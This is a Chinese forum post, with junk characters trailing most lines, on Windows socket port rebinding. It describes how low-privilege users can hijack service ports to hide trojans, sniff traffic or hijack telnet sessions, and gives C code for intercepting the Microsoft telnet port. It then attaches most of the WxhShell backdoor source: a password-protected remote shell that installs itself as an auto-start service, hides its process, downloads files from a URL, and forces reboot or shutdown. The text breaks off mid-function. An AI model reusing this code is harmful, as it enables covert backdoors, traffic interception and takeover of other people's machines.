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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gK_[3FiKt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >-WO w  
ED_5V@  
  saddr.sin_family = AF_INET; T7nX8{l[RG  
u\Q**m2XP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PsT v\!  
bH]!~[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @MH]s [{o\  
Z 2jMBe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -.3k vL  
exU=!3Ji  
  这意味着什么?意味着可以进行如下的攻击: otVdx&%]  
8pt<)Rs}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FQRcZpv;  
nk.E q[08  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f3B8,>  
4T\/wyq0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^u&Khc~ y  
WC;a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jmVy4* P_  
\(t>(4s_~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;AA7wK 4  
#mxfU>vQ:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^moIMFl  
Gl:T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _jKVA6_E  
rZ4<*Zegv  
  #include KftM4SFbK  
  #include Pu*UZcXY  
  #include |W];v@b\y  
  #include    eV}Tx;1|}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RxG./GY  
  int main() @n'ss!h  
  { N2Hb19/k  
  WORD wVersionRequested; \`# 0,pLr  
  DWORD ret; HBGA lZ  
  WSADATA wsaData; Upen/1bA  
  BOOL val; m3e49 bP  
  SOCKADDR_IN saddr; LZ:\V)5+  
  SOCKADDR_IN scaddr; ZO$T/GE6%  
  int err; 5ml}TSMu'  
  SOCKET s; n:] 1^wX#  
  SOCKET sc; |H@p^.;  
  int caddsize; glIIJ5d|,  
  HANDLE mt; IcA~f@  
  DWORD tid;   eZ$1|Sj]j  
  wVersionRequested = MAKEWORD( 2, 2 ); {-qTU6  
  err = WSAStartup( wVersionRequested, &wsaData ); k= 1+mG  
  if ( err != 0 ) { Jtk(yp{Zz  
  printf("error!WSAStartup failed!\n"); H43D=N&  
  return -1; ,6pH *b $  
  } N'.+ezZ;h  
  saddr.sin_family = AF_INET; |:BYOxAYZ8  
   j"8N)la  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 izo $0  
)C6 7qY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9F!&y-  
  saddr.sin_port = htons(23); ~[6|VpGc:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !qv;F?2 <g  
  { k]YGD  
  printf("error!socket failed!\n"); W}3vY]  
  return -1; feHAZ.8rp+  
  } *&MkkI#  
  val = TRUE; LRs; >O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >*CK@"o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F x8)jBB_  
  { KK|Jach  
  printf("error!setsockopt failed!\n"); OUMr}~/  
  return -1; o|C{ s   
  } ;wB  3H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T0jJp7O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~cwwB{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G"w Q(6J@  
O,#[m:Ejb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !%9I%Ak^  
  { DJUtuex  
  ret=GetLastError(); X|G+N(`|(  
  printf("error!bind failed!\n"); Ry3 f'gx  
  return -1; 9B0"GEwrs  
  } [hbIv   
  listen(s,2); "KwKO8f  
  while(1) NE"fyX`  
  { A>yIH)b  
  caddsize = sizeof(scaddr); OSk9Eb4ld  
  //接受连接请求 h (2k;M^s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gp2)35  
  if(sc!=INVALID_SOCKET) {*Pp^ r  
  { JnJz{(c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KYN{iaj  
  if(mt==NULL) }FVX5/.'  
  { g7i6Yj1  
  printf("Thread Creat Failed!\n"); rg.if"o  
  break; eRbO Hj1  
  } k*^W lCZ3  
  } # w6CL  
  CloseHandle(mt); l[k$O$jo  
  } :B~c>:  
  closesocket(s); '"^JNb^I  
  WSACleanup(); \f#ao<vQm  
  return 0; Ymom 0g+ f  
  }   _TF>c:m3  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zlo,#q  
  { W^f#xrq>  
  SOCKET ss = (SOCKET)lpParam; TVA1FD  
  SOCKET sc; O6]~5&8U.  
  unsigned char buf[4096]; gG>>ynn  
  SOCKADDR_IN saddr; AF6'JxG7  
  long num; ba13^;fm#  
  DWORD val; g!ww;_  
  DWORD ret; cK&oC$[r-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 = @o}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %\0 Y1!Hw  
  saddr.sin_family = AF_INET; KHtY +93  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AAcbY;  
  saddr.sin_port = htons(23); I "4B1g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ip0q&i<6  
  { .<dmdqk]  
  printf("error!socket failed!\n"); 4^&vRD,  
  return -1; CgC wM=!r  
  } 4aC#Cv:0  
  val = 100; 3I+pe;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C+5nft6:  
  { 8vK&d>  
  ret = GetLastError(); J^4k}  
  return -1; 2wCRT}C  
  } FQ%mNowuj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5FxU=M1gF  
  { !=:c8V  
  ret = GetLastError();  ~A/_\-  
  return -1; LNkyV*TI  
  } 3 6 ;hg #  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "f_Z.6WMY  
  { HV@:!zM  
  printf("error!socket connect failed!\n"); {QID@  
  closesocket(sc); nKdLhCN'=  
  closesocket(ss); hh9{md\  
  return -1; #eYVZ=E  
  } iq$/ 6!t  
  while(1) /eQn$ZRP,  
  { V_!i KEU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Pp2 )P7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N;Bal/kd2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'Nh^SbD+_|  
  num = recv(ss,buf,4096,0); zKNk(/y  
  if(num>0) `Nj|}^A  
  send(sc,buf,num,0); )T?ryp3ev  
  else if(num==0) KXJHb{?  
  break; @zbXG_J  
  num = recv(sc,buf,4096,0); }8HLyK,4  
  if(num>0) i7FEjjGtG  
  send(ss,buf,num,0); JFZ p^{  
  else if(num==0) P*>V6SK>b  
  break; 8{C3ijR  
  } Tx*m p+q  
  closesocket(ss); fvD wg  
  closesocket(sc); *M:Bhw  
  return 0 ; DN+`Q{KS  
  } n[@Ur2&)  
9!LAAE`  
!r<7]nwV  
========================================================== lK-I[i!  
PO&`r r  
下边附上一个代码,,WXhSHELL :"4~VDu  
}MNm>3  
========================================================== <mN3:G  
iX=*qiVX  
#include "stdafx.h" ,P}c92;  
L6m'u6:1{  
#include <stdio.h> #XsqTK_nk  
#include <string.h> 9L};vkYk#  
#include <windows.h> |NI0zd  
#include <winsock2.h> e\<I:7%Rg  
#include <winsvc.h> Y*Pr  
#include <urlmon.h> 8/:\iPk0  
Q*I/mUP&f  
#pragma comment (lib, "Ws2_32.lib") p.G7Cs  
#pragma comment (lib, "urlmon.lib") x?3p3[y  
Z(L>~+%  
#define MAX_USER   100 // 最大客户端连接数 t.cplJF&Ue  
#define BUF_SOCK   200 // sock buffer _3hEYeh  
#define KEY_BUFF   255 // 输入 buffer mIyaoIE|$  
F<$&G'% H  
#define REBOOT     0   // 重启 tVOx  
#define SHUTDOWN   1   // 关机 .NKN2  
=F9-,"EAI  
#define DEF_PORT   5000 // 监听端口 x-1[2K1"[  
<x/&Ml+  
#define REG_LEN     16   // 注册表键长度 ,f$ RE6  
#define SVC_LEN     80   // NT服务名长度 @:63OLlrG  
>9 iv>  
// 从dll定义API KvQ9R!V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); du !.j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "jSn`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FB@G.f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yZ`\.GgC^&  
x RfX:3  
// wxhshell配置信息 PF.HYtZqK  
struct WSCFG { wNlp4Z'[  
  int ws_port;         // 监听端口 fRiHs\+  
  char ws_passstr[REG_LEN]; // 口令 8L:0Wp  
  int ws_autoins;       // 安装标记, 1=yes 0=no {?8rvAj Y  
  char ws_regname[REG_LEN]; // 注册表键名 ?^dyQhb  
  char ws_svcname[REG_LEN]; // 服务名 4 QWHGh"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -8]$a6`{_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .FeEK(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W+QI D/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DD1S]m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x-[l`k.V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M-n +3E9  
8g3 6-8  
}; 0:XmReO+k  
,-):&V:jF  
// default Wxhshell configuration d$!ibL#o  
struct WSCFG wscfg={DEF_PORT, y=t -/*K  
    "xuhuanlingzhe", 8W{R&Z7aL  
    1, K$4Ky&89  
    "Wxhshell", =_5-z|<  
    "Wxhshell", [Mx+t3M  
            "WxhShell Service", O?@AnkOhn  
    "Wrsky Windows CmdShell Service", s^cHR1^  
    "Please Input Your Password: ", 8qT/1b  
  1, ;yr 'K  
  "http://www.wrsky.com/wxhshell.exe", "zugnim  
  "Wxhshell.exe" zQ6otDZx  
    }; %NvY~,  
E11"uWk`  
// 消息定义模块 CGQ`i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % 74}H8q_z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k3&Wv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \n}cx~j  
char *msg_ws_ext="\n\rExit."; K#>B'>A\  
char *msg_ws_end="\n\rQuit."; gD-<^Q-  
char *msg_ws_boot="\n\rReboot..."; xu3qX"  
char *msg_ws_poff="\n\rShutdown..."; zJPzI{-w|  
char *msg_ws_down="\n\rSave to "; \QVL%,.%M  
8{AzB8xp  
char *msg_ws_err="\n\rErr!"; 'Ag?#vB  
char *msg_ws_ok="\n\rOK!"; SO|$X  
p?5zwdX+`  
char ExeFile[MAX_PATH]; @>:r'Fmu-  
int nUser = 0; O %OeYO69  
HANDLE handles[MAX_USER]; 4oJ0,u  
int OsIsNt; tlj^0  
YtFtU;{  
SERVICE_STATUS       serviceStatus; % _N-:.S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &T{+B:*v  
yJ?6BLJi  
// 函数声明 &U:;jlST9  
int Install(void); $aEL>, X  
int Uninstall(void); d%iMjY`~[g  
int DownloadFile(char *sURL, SOCKET wsh); gF&1e5`i  
int Boot(int flag); T{Av[>M  
void HideProc(void); LBTf}T\  
int GetOsVer(void); n;[d{bU  
int Wxhshell(SOCKET wsl); [S4<bh!  
void TalkWithClient(void *cs); _k&vW(O=:  
int CmdShell(SOCKET sock); :AL nm0d  
int StartFromService(void); l2i[wc"9  
int StartWxhshell(LPSTR lpCmdLine); d-X<+&VZ  
v81<K*w`P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $%ps:ui~X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f mf(5  
n*uT  
// 数据结构和表定义 }5EvBEv-)  
SERVICE_TABLE_ENTRY DispatchTable[] = [:Sl^ Z&6M  
{ G22u+ua  
{wscfg.ws_svcname, NTServiceMain}, 'vBuQinn  
{NULL, NULL} C1hp2CW$5/  
}; 0`:0m/fsU  
Y f1?3 (0O  
// 自我安装 d-y8c  
int Install(void) {;q zz9 |  
{ "d% o%  
  char svExeFile[MAX_PATH]; w~Aw?75 t  
  HKEY key; v#TU7v?~  
  strcpy(svExeFile,ExeFile); 51xiX90D  
|Y4c+6@_  
// 如果是win9x系统,修改注册表设为自启动 S/V%<<[>p]  
if(!OsIsNt) { 1GE[*$vuq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,XU<2jv]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UZz/v#y~  
  RegCloseKey(key); 1 Qln|b8<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zt6GJ z1q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kqm2TMO]>V  
  RegCloseKey(key); m9 1Gc?c  
  return 0; @kd`9Yw  
    } /@ m]@  
  } A{MMY{K3  
} z#m ~}  
else { \(C6|-:GY  
~m3Q^ue  
// 如果是NT以上系统,安装为系统服务 MaN6bM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3s;^p,9 Y  
if (schSCManager!=0) s+DOr$\  
{ n&1q*  
  SC_HANDLE schService = CreateService wNtC5  
  ( :<hM@>eFn  
  schSCManager, O |!cPB:  
  wscfg.ws_svcname, yw\Q>~$n[=  
  wscfg.ws_svcdisp, _\;0E!=p  
  SERVICE_ALL_ACCESS, E%LUJx}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3?5JY;}h>"  
  SERVICE_AUTO_START, l|v`B6(  
  SERVICE_ERROR_NORMAL, Ir#]p9:x  
  svExeFile, [>![ViX  
  NULL, pLSh +*F  
  NULL, |0OY> 5  
  NULL, HAwdu1$8  
  NULL, H%pD9'q~  
  NULL Ogv9_ X8  
  ); >e>%AMzo[  
  if (schService!=0) m~04I~8vk  
  { F/V -@SF  
  CloseServiceHandle(schService); bI+/0X x  
  CloseServiceHandle(schSCManager); Q<0X80w>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); > 9.%hSy  
  strcat(svExeFile,wscfg.ws_svcname); V_zU?}lZ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fYSH]!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [4w*<({*  
  RegCloseKey(key); agt/;>q\~  
  return 0; zG{P5@:.R  
    } z^vfha  
  } rtNYX=P  
  CloseServiceHandle(schSCManager); iYD5~pK8  
} e.\dqt~%y  
} <p/zm}?')  
DG?g~{Y~b  
return 1; -U*J5Q  
} Qo32oT[DM  
,.Lwtp,n  
// 自我卸载 ;.'?(iEB  
int Uninstall(void) 9TX2h0U?  
{  LAkBf  
  HKEY key; bgLa`8  
F Y<Q|Ov  
if(!OsIsNt) { R:4@a ':H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]"}BqS0  
  RegDeleteValue(key,wscfg.ws_regname); S /"G=^~  
  RegCloseKey(key); 7r&lW<:>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]~2iducB,  
  RegDeleteValue(key,wscfg.ws_regname); )xq=V  
  RegCloseKey(key); v*[UG^+)  
  return 0; =p^$>o  
  } Om^(CAp  
} &(oA/jFQ  
} T*:w1*:  
else { DkX^b:D*f  
}`kiULC'=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C~egF=w  
if (schSCManager!=0) ? X6M8`  
{ fLnwA|n=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O}>@G  
  if (schService!=0) /poGhB 1k  
  { |.VSw  
  if(DeleteService(schService)!=0) { ^s6}[LDW>@  
  CloseServiceHandle(schService); Y?TS,   
  CloseServiceHandle(schSCManager); @Ddz|4vEi  
  return 0; !KMl'kswe:  
  } 58XZ]Mc0  
  CloseServiceHandle(schService); " i:[|7  
  } q>Di|5<y  
  CloseServiceHandle(schSCManager); 3m= _a  
} l]4=W<N  
} !NH(EWER  
WG A1XQ{  
return 1; cI P.5)Ca  
} /v^ '5j1o  
h;,1BpbM  
// 从指定url下载文件 f";pfu_FZ  
int DownloadFile(char *sURL, SOCKET wsh) ;89kL]  
{ 8T1zL.u>q  
  HRESULT hr; [3"F$?e5  
char seps[]= "/"; vn+XY =Qnr  
char *token; gUNhN1=  
char *file;  4d\^  
char myURL[MAX_PATH]; eT+i &  
char myFILE[MAX_PATH]; yI1 :L -  
T? Kh '  
strcpy(myURL,sURL); t5%cpkgh4  
  token=strtok(myURL,seps); <4+P37^ ~  
  while(token!=NULL) KF zI27r  
  { Ym 1vq=  
    file=token; f[1cN`|z  
  token=strtok(NULL,seps); E/g"}yR  
  } s> m2qSu  
`Jk0jj6Z  
GetCurrentDirectory(MAX_PATH,myFILE); 0u1ZU4+EC  
strcat(myFILE, "\\"); ;+<IWDo  
strcat(myFILE, file); }%p:Xv@X!  
  send(wsh,myFILE,strlen(myFILE),0); I% u 2 ce  
send(wsh,"...",3,0); "Yh;3tI4*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GQ;0KIN  
  if(hr==S_OK) n1J u =C  
return 0; xRe`Duy:  
else #m,H1YH M  
return 1; `0\Z*^>  
y QClq{A  
} x>}ml\R  
^#d\HI  
// 系统电源模块 AY{KxCr b^  
int Boot(int flag) *mzi ?3  
{ <a]i"s  
  HANDLE hToken; TY)QE  
  TOKEN_PRIVILEGES tkp; ?D6uviQg  
6LBdTnzUd  
  if(OsIsNt) { jd](m:eG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \= v.$u"c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hl,{4%]  
    tkp.PrivilegeCount = 1; >=[uLY[aK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S[1<Qrv]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hE|P|0U,n  
if(flag==REBOOT) { .Q%Hi7JMi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,c4HicRJ#  
  return 0; ~f h  
} g3z/yj  
else { y6nP=g|')>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0n{.96r0R  
  return 0; zMR)w77  
} q2*A'C  
  } -NXxxK  
  else { xIGq+yd(  
if(flag==REBOOT) { eAfi!!Z<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |tGUx*NN  
  return 0; 6N#hN)/  
} >\d&LLAe  
else { oT-gZedW(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Y>Jf~SN  
  return 0; u#,8bw?1  
} fZ$b8  
} xvV";o  
BM<q;;pO  
return 1; 9B!Sv/)y!r  
} mux/\TII  
;cXw;$&D  
// win9x进程隐藏模块 B n7uKa{P  
void HideProc(void) J?9jD:x  
{ Ipk;Nq  
S MWXP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KLyRb0V  
  if ( hKernel != NULL ) 5MVa;m  
  { R9U{r.AA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3>KEl^1DB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c_3B:F7  
    FreeLibrary(hKernel); iApq!u,  
  } & Q3Fgj  
,AP0*Ln  
return; GGp.u@\r  
} ; ~pgF_  
G:<f(Gy  
// 获取操作系统版本 ^ Oh  
int GetOsVer(void) k7^hc th  
{ *%Rmdyn  
  OSVERSIONINFO winfo; P.y +jyu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AJ\&>6GZ(b  
  GetVersionEx(&winfo); J].Oxch&y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $-}&RW9  
  return 1; % T({;/  
  else IrMH AM5K  
  return 0;  >Uw:cq  
} )0VL$A  
'z ?Hv  
// 客户端句柄模块 7*l$ i/!  
int Wxhshell(SOCKET wsl) z`zz8hK.  
{ geme_  
  SOCKET wsh; lU{)%4e`  
  struct sockaddr_in client; n9B5D:.G  
  DWORD myID; fpR|+`k  
PVIOe}N  
  while(nUser<MAX_USER) QTy=VLk43  
{ <T}^:2G|  
  int nSize=sizeof(client);  6:zPWJB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  [E1qv;   
  if(wsh==INVALID_SOCKET) return 1; Y4rxnXGw  
vGkem J^/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w:5?ofC  
if(handles[nUser]==0) aJ'Fn  
  closesocket(wsh); !*-|!Vz  
else S(gr>eC5  
  nUser++; cnu&!>8V  
  } -c_l nK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x3q^}sj%  
y b hFDx  
  return 0; 731Lz*IFg  
} K!6T8^JH  
f/)Y {kS6  
// 关闭 socket ui%#f1Iq  
void CloseIt(SOCKET wsh) 5T x4u%g  
{ (VeK7cU  
closesocket(wsh); ^&qK\m_A  
nUser--; ,b*?7R  
ExitThread(0); cibl j?"Wi  
} |p:4s"NT  
)ros-d p`  
// 客户端请求句柄 Nx 42k|8  
void TalkWithClient(void *cs) g88k@<Y  
{ jZA1fV  
tm~9XFQ<  
  SOCKET wsh=(SOCKET)cs; ,X|Oe@/  
  char pwd[SVC_LEN]; 0Y8gUpe3P6  
  char cmd[KEY_BUFF]; $gl|^c\  
char chr[1]; zG9FO/@av  
int i,j; H8eEBMGo  
%g9y m@s  
  while (nUser < MAX_USER) { 0z>IYw|UB  
`=(<!nXJx  
if(wscfg.ws_passstr) { C m:AU;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bBi>BP =  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ),x0G*oebj  
  //ZeroMemory(pwd,KEY_BUFF); }b456J  
      i=0; %3`*)cp@  
  while(i<SVC_LEN) { t/[2{'R4  
dcf,a<K\  
  // 设置超时 jr` swyg  
  fd_set FdRead; !]F`qS>  
  struct timeval TimeOut; A[l )>:  
  FD_ZERO(&FdRead);  "9;  
  FD_SET(wsh,&FdRead); QRju9x  
  TimeOut.tv_sec=8; `y>m >j  
  TimeOut.tv_usec=0; u`XRgtI{g?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9K$ x2U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zqA>eDx  
HhynU/36  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 5~Z%_?  
  pwd=chr[0]; \l!+l  
  if(chr[0]==0xd || chr[0]==0xa) { =F \Xt "  
  pwd=0; Vh0cac|X  
  break; -5*OSA:8x  
  } _ s 3aaOL  
  i++; O~5t[  
    } D"4*l5l  
b$@I(.X:  
  // 如果是非法用户,关闭 socket "09v6Tx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tb] 7# v  
} ;mpYcpI  
a4s't% P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \|>% /P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lat5n&RP Y  
/` M#  
while(1) { e#oK% {A  
]WMzWt:L  
  ZeroMemory(cmd,KEY_BUFF); "mn?*  
Z66Xj-o  
      // 自动支持客户端 telnet标准   3HyOQD"{  
  j=0; a j4ZS  
  while(j<KEY_BUFF) { Xm,fyk>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "nz\YQdg  
  cmd[j]=chr[0]; r5gqRh}+  
  if(chr[0]==0xa || chr[0]==0xd) { '-"[>`[q  
  cmd[j]=0; Z` kVyuQ  
  break; 2sGKn a  
  } : ;8L1'  
  j++; E:qh}wY  
    } kI"9T`owR  
_)j\ b  
  // 下载文件 JL {H3r&/S  
  if(strstr(cmd,"http://")) { E]Mx<7;\.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ICz:>4M-dn  
  if(DownloadFile(cmd,wsh)) `%\CO `  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #j Tkz  
  else T`^Jw s{;7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e#hg,I  
  } Lx_Jw\YO  
  else { qb;b.P?~D$  
@tSB^&jUWu  
    switch(cmd[0]) { |cd "cx+  
  29=ob("  
  // 帮助 s/ABT.ZO  
  case '?': { 8Y-*rpLy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +tk`$g  
    break; Z,p@toj'  
  } R?1Z[N  
  // 安装 v{$?Ow T/u  
  case 'i': { TFOx=_.%i  
    if(Install()) Wu6'm &t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lv@WI6DM  
    else UIU Pi gd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=n79]b:N  
    break; ;%0kzIvP  
    } bj`GGxzOb  
  // 卸载 Fa h6 &a  
  case 'r': { V]Te_ >E;w  
    if(Uninstall()) J#Q>dC7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :^W}$7$T  
    else <cZ/_+H%C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >&\.{ aj  
    break; ?<F([(  
    } &IXmy-w  
  // 显示 wxhshell 所在路径 7#wB  
  case 'p': { yT:2*sZRc  
    char svExeFile[MAX_PATH]; V0D&bN*  
    strcpy(svExeFile,"\n\r"); 8Vz!zYl  
      strcat(svExeFile,ExeFile); @_t=0Rc  
        send(wsh,svExeFile,strlen(svExeFile),0); FI:H/e5[  
    break; Zrwd  
    } jvv=  
  // 重启 wdt2T8`I/  
  case 'b': { ?#a&eW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jqzw94  
    if(Boot(REBOOT)) 2ih}?%H8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Syseiw  
    else { _8r'R  
    closesocket(wsh); _N:$|O#  
    ExitThread(0); '+Jy//5?  
    } v5@4 |u3ds  
    break; 0Sk~m4fj(  
    } w;Azxcw  
  // 关机 %AJ9fs4/  
  case 'd': { V5-!w0{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %h(%M'm?  
